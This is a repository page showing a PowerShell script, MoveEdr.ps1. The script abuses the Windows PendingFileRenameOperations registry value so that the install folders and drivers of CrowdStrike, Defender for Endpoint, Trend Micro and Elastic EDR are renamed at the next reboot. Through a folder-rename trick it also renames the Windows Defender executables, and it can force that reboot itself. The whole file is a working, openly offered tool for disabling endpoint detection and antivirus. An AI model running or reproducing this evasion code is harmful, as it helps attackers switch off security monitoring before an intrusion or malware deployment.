etc

~ scripts and random things
git clone https://github.com/djnnvx/etc.git
MoveEdr.ps1 (3676B)
      1 function MoveEdr{
      2 	Param(
      3 		[switch]$Clear,
      4 		[switch]$CustomOnly,
      5 		[switch]$DefenderHard,
      6 		[switch]$Dump,
      7 		[switch]$IgnoreOld,
      8 		[switch]$Print,
      9 		[switch]$Reboot,
     10 		[switch]$Undo,
     11 		[string[]]$CustomPaths = @(),
     12 		[string[]]$FullyCustomPaths = @(),
     13 		[string[]]$Load,
     14 		[string] $Suffix = "_bak"
     15 	)
     16 
     17 	$regPath = "HKLM:SYSTEM\CurrentControlSet\Control\Session Manager\"
     18 	$regKey = "PendingFileRenameOperations"
     19 	
     20 	function GetMoves{
     21 		return (Get-ItemProperty -ErrorAction silentlyContinue -Path $regPath  -Name $regKey).$regKey
     22 	}
     23 	
     24 	if ($Print){
     25 		$pendingMoves = GetMoves
     26 		if ($null -eq $pendingMoves){
     27 			Write-Output "No Pending Moves"
     28 		} else {
     29 			for($i = 0; $i -lt ($pendingMoves.Count -shr 1); $i++) {
     30 				Write-Host $pendingMoves[$i*2] --> $(if ($pendingMoves[$i*2+1] -eq "") {"DELETE"} else {$pendingMoves[$i*2+1]})
     31 			}
     32 		}
     33 		Return
     34 	}
     35 	
     36 	if ($Clear) {
     37 		Clear-ItemProperty -ErrorAction silentlyContinue -Path $regPath -Name $regKey
     38 		Return
     39 	}
     40 	
     41 	if ($Dump) {
     42 		$pendingMoves = GetMoves
     43 		$dumped = "`"" + ($pendingMoves -join '","') + "`""
     44 		if ($dumped -ne "`"`""){
     45 				Write-Output $dumped
     46 		} else {
     47 			Write-Output "No Pending Moves"
     48 		}
     49 		
     50 		Return
     51 	}
     52 	
     53 	if ($Load) {
     54 		$moves = $Load
     55 	}
     56 	elseif ($CustomOnly){
     57 		$moves = @($CustomPaths | ForEach-Object {"\??\$_", "\??\${_}$Suffix"}) +
     58 				 @($FullyCustomPaths | ForEach-Object {"\??\$_"})
     59 	}
     60 	else {
     61 		$paths = @(
     62 			# Crowdstrike
     63 			 "C:\Program Files\CrowdStrike",
     64 			 "C:\Windows\System32\drivers\CSDeviceControl.sys",
     65 			 "C:\Windows\System32\drivers\CSFirmwareAnalysis.sys",
     66 			 "C:\Windows\System32\drivers\CrowdStrike",
     67 
     68 			# Defender for Endpoint
     69 			"C:\Program Files\Windows Defender Advanced Threat Protection",
     70 			
     71 			# Trend Micro
     72 			"C:\Program Files (x86)\Trend Micro\Security Agent",
     73 			
     74 			# Elastic EDR
     75 			"C:\Program Files\Elastic",
     76 			"C:\Windows\System32\drivers\elastic-endpoint-driver.sys",
     77 			"C:\Windows\System32\drivers\ElasticElam.sys"
     78 		)
     79 		
     80 		# Windows Defender Trickery
     81 		if ($DefenderHard){
     82 			$defender_trickery = @("C:\ProgramData\Microsoft", "C:\ProgramData\Microsoft$Suffix",
     83 							   "C:\ProgramData\Microsoft$Suffix\Windows Defender", "C:\ProgramData\Microsoft$Suffix\Windows Defender$Suffix",
     84 							   "C:\ProgramData\Microsoft$Suffix", "C:\ProgramData\Microsoft")
     85 		} else {
     86 			$defenderPlatforms = (Get-ChildItem 'C:\ProgramData\Microsoft\Windows Defender\Platform').Name
     87 			$defenderExes = "MsMpEng.exe", "MpDefenderCoreService.exe", "NisSrv.exe"
     88 			$defender_trickery = @("C:\ProgramData\Microsoft", "C:\ProgramData\Microsoft$Suffix") +
     89 					 @(@(foreach ($platform in $defenderPlatforms) {foreach ($exe in $defenderExes) {"C:\ProgramData\Microsoft$Suffix\Windows Defender\Platform\$platform\$exe"}}) | ForEach-Object {"$_","${_}$Suffix"}) +
     90 					 @("C:\ProgramData\Microsoft$Suffix", "C:\ProgramData\Microsoft")
     91 		}
     92 
     93 		$moves = @($paths + $CustomPaths | ForEach-Object {"\??\$_", "\??\${_}$Suffix"}) +
     94 				 @($FullyCustomPaths + $defender_trickery | ForEach-Object {"\??\$_"})
     95 	}
     96 	
     97 	if ($undo) { # reverse the order in which moves are performed from top to bottom and switch source and destination
     98 		$upperBound = $moves.Count - 1
     99 		for ($index = 0; $index -lt ($moves.Count -shr 1); $index+=2){
    100 			$moves[$index],$moves[$index+1],$moves[$upperBound -1 - $index],$moves[$upperBound - $index] =
    101 			$moves[$upperBound - $index],$moves[$upperBound -1 -$index], $moves[$index+1],$moves[$index]
    102 		}
    103 	}
    104 
    105 	if(!$IgnoreOld){
    106 		$old = GetMoves
    107 	} else {
    108 		$old = $null
    109 	}
    110 
    111 	$reg = @{
    112 		Path = $regPath
    113 		Name = $regKey
    114 		PropertyType = 'MultiString'
    115 		Value = $old + $moves
    116 	}
    117 
    118 	New-ItemProperty -Force @reg | Out-Null
    119 
    120 	if ($Reboot){
    121 		Restart-Computer -Force
    122 	}
    123 }